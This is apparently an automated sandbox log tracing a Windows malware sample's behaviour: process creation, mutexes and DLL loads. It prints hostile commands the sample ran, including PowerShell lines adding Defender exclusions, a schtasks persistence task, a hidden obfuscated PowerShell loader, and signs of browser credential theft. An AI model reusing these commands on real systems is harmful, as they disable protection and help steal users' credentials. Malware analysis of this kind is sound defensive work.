            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeMutant created: \Sessions\1\BaseNamedObjects\NLftZvQIHbkokWBvTZTwYukEvYy
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2332:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4456:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7060:120:WilError_03
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeFile created: C:\Users\user\AppData\Local\Temp\tmpC293.tmpJump to behavior
            Source: P1 HWT623ATG.bat.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
            Source: P1 HWT623ATG.bat.exeStatic file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.79%
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
            Source: compact.exe, 0000001A.00000003.1814646403.0000000003543000.00000004.00000020.00020000.00000000.sdmp, compact.exe, 0000001A.00000002.3711399927.0000000003568000.00000004.00000020.00020000.00000000.sdmp, compact.exe, 0000001A.00000002.3711399927.0000000003597000.00000004.00000020.00020000.00000000.sdmp, compact.exe, 0000001A.00000003.1814646403.0000000003568000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
            Source: P1 HWT623ATG.bat.exeReversingLabs: Detection: 57%
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeFile read: C:\Users\user\Desktop\P1 HWT623ATG.bat.exe:Zone.IdentifierJump to behavior
            Source: unknownProcess created: C:\Users\user\Desktop\P1 HWT623ATG.bat.exe "C:\Users\user\Desktop\P1 HWT623ATG.bat.exe"
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\P1 HWT623ATG.bat.exe"
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exe"
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\GnVIdcfKFYG" /XML "C:\Users\user\AppData\Local\Temp\tmpC293.tmp"
            Source: C:\Windows\SysWOW64\schtasks.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess created: C:\Users\user\Desktop\P1 HWT623ATG.bat.exe "C:\Users\user\Desktop\P1 HWT623ATG.bat.exe"
            Source: unknownProcess created: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exe C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exe
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\GnVIdcfKFYG" /XML "C:\Users\user\AppData\Local\Temp\tmpDBA9.tmp"
            Source: C:\Windows\SysWOW64\schtasks.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess created: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exe "C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exe"
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exeProcess created: C:\Windows\SysWOW64\compact.exe "C:\Windows\SysWOW64\compact.exe"
            Source: C:\Windows\SysWOW64\compact.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
            Source: C:\Windows\SysWOW64\compact.exeProcess created: C:\Users\user\AppData\Local\Temp\bfc.exe "C:\Users\user~1\AppData\Local\Temp\bfc.exe"
            Source: C:\Users\user\AppData\Local\Temp\bfc.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Algolagnic=Get-Content 'C:\Users\user\AppData\Local\erindres\keres\Renowned.tha';$Gnaskerierne=$Algolagnic.SubString(53079,3);.$Gnaskerierne($Algolagnic)"
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\user\AppData\Local\Temp\Smilet.exe "C:\Users\user~1\AppData\Local\Temp\Smilet.exe"
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\P1 HWT623ATG.bat.exe"Jump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exe"Jump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\GnVIdcfKFYG" /XML "C:\Users\user\AppData\Local\Temp\tmpC293.tmp"Jump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess created: C:\Users\user\Desktop\P1 HWT623ATG.bat.exe "C:\Users\user\Desktop\P1 HWT623ATG.bat.exe"Jump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\GnVIdcfKFYG" /XML "C:\Users\user\AppData\Local\Temp\tmpDBA9.tmp"Jump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess created: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exe "C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exe"Jump to behavior
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exeProcess created: C:\Windows\SysWOW64\compact.exe "C:\Windows\SysWOW64\compact.exe"
            Source: C:\Windows\SysWOW64\compact.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
            Source: C:\Windows\SysWOW64\compact.exeProcess created: C:\Users\user\AppData\Local\Temp\bfc.exe "C:\Users\user~1\AppData\Local\Temp\bfc.exe"
            Source: C:\Users\user\AppData\Local\Temp\bfc.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Algolagnic=Get-Content 'C:\Users\user\AppData\Local\erindres\keres\Renowned.tha';$Gnaskerierne=$Algolagnic.SubString(53079,3);.$Gnaskerierne($Algolagnic)"
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\user\AppData\Local\Temp\Smilet.exe "C:\Users\user~1\AppData\Local\Temp\Smilet.exe"
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeSection loaded: mscoree.dllJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeSection loaded: apphelp.dllJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeSection loaded: version.dllJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeSection loaded: cryptsp.dllJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeSection loaded: rsaenh.dllJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeSection loaded: dwrite.dllJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeSection loaded: textshaping.dllJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeSection loaded: amsi.dllJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeSection loaded: msasn1.dllJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeSection loaded: gpapi.dllJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeSection loaded: urlmon.dllJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeSection loaded: iertutil.dllJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeSection loaded: srvcli.dllJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeSection loaded: netutils.dllJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeSection loaded: propsys.dllJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeSection loaded: windowscodecs.dllJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeSection loaded: edputil.dllJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeSection loaded: windows.staterepositoryps.dllJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeSection loaded: appresolver.dllJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeSection loaded: bcp47langs.dllJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeSection loaded: slc.dllJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeSection loaded: sppc.dllJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeSection loaded: onecorecommonproxystub.dllJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeSection loaded: ntmarta.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: taskschd.dllJump to behavior
            Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeSection loaded: mscoree.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeSection loaded: apphelp.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeSection loaded: version.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeSection loaded: cryptsp.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeSection loaded: rsaenh.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeSection loaded: dwrite.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeSection loaded: textshaping.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeSection loaded: amsi.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeSection loaded: msasn1.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeSection loaded: gpapi.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeSection loaded: urlmon.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeSection loaded: iertutil.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeSection loaded: srvcli.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeSection loaded: netutils.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeSection loaded: propsys.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeSection loaded: windowscodecs.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeSection loaded: edputil.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeSection loaded: windows.staterepositoryps.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeSection loaded: appresolver.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeSection loaded: bcp47langs.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeSection loaded: slc.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeSection loaded: sppc.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeSection loaded: onecorecommonproxystub.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
            Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: fastprox.dllJump to behavior
            Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: ncobjapi.dllJump to behavior
            Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: mpclient.dllJump to behavior
            Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: version.dllJump to behavior
            Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: msasn1.dllJump to behavior
            Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: wmitomi.dllJump to behavior
            Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: mi.dllJump to behavior
            Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: miutils.dllJump to behavior
            Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: miutils.dllJump to behavior
            Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: gpapi.dllJump to behavior
            Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: taskschd.dllJump to behavior
            Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: wininet.dll
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: kernel.appcore.dll
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: uxtheme.dll
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: ieframe.dll
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: iertutil.dll
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: netapi32.dll
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: version.dll
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: userenv.dll
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: winhttp.dll
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: wkscli.dll
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: netutils.dll
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: sspicli.dll
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: windows.storage.dll
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: wldp.dll
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: profapi.dll
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: secur32.dll
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: mlang.dll
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: propsys.dll
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: winsqlite3.dll
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: vaultcli.dll
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: wintypes.dll
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: dpapi.dll
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: cryptbase.dll
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: urlmon.dll
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: srvcli.dll
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: netutils.dll
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: ondemandconnroutehelper.dll
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: winhttp.dll
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: mswsock.dll
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: iphlpapi.dll
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: winnsi.dll
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: edputil.dll
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: windows.staterepositoryps.dll
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: appresolver.dll
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: bcp47langs.dll
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: slc.dll
